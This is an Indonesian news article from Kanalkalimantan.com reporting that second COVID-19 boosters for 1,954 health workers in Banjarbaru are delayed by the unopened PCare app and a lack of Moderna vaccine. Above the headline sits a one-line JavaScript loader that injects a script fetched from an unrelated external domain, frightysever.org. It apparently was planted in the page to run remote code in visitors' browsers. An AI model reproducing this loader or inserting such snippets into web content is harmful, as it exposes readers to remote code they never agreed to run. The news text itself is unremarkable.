(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Vaksin Booster Kedua Nakes di Banjarbaru Belum Bisa Dimulai

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah mulai menggenjot vaksinasi dosis keempat atau booster kedua sejak 29 Juli 2022 lalu.

Namun, vaksinasi booster kedua ini diprioritaskan untuk tenaga kesehatan (Nakes).

Di Kota Banjarbaru sendiri Dinas Kesehatan (Dinkes) Kota Banjarbaru ada 1.954 Nakes menjadi sasaran.

Ahli Madya Epidemiolog Kesehatan Dinkes Banjarbaru, Edi Sampana, di Kota Banjarbaru untuk vaksinasi booster kedua masih belum dimulai dikarenakan terkendala aplikasi PCare.

Baca juga: Kwarcab Pramuka Banjarbaru Menggelar Muscab

“Belum bisa dimulai, karena aplikasi PCare untuk suntikan dosis 4 belum dibuka,” ujarnya kepada Kanalkalimantan.com, Kamis (4/8/2022).

Dilanjutkan Edi, pelaksanaan vaksinasi booster kedua ini akan menyasar 1.954 sumber daya manusia (SDM) kesehatan.

Terkait terkendala aplikasi PCare, menurutnya bisa saja Nakes di vaksin booster kedua dengan dicatat secara manual.

“Nanti apabila PCare-nya sudah dibuka, datanya dientry, supaya sertifikat vaksinnya bisa dicetak,” bebernya.

Disamping terkendala aplikasi PCare, ternyata Nakes di Kota Banjarbaru belum bisa disuntikkan juga terkendala stok vaksin Moderna.

“Saat ini di tempat kami tidak ada vaksin Moderna,” akunya.

Sebab, 1.954 Nakes yang ada di Kota Banjarbaru sebagian besar menggunakan vaksin Moderna untuk vaksinasi dosis ketiga.

“Minimal kami perlu 1.954 dosis (@0,25 ml) vaksin Moderna, karena sebagian besar dosis 3 yang diberikan kepada mereka adalah vaksin Moderna,” tuntasnya.

Sekadar diketahui, di kota Banjarbaru sendiri ada 29 pos pelayanan vaksinasi setiap harinya baik di 10 Puskesmas se Kota Banjarbaru, rumah sakit yang ada di Banjarbaru maupun fasilitas kesehatan lainnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie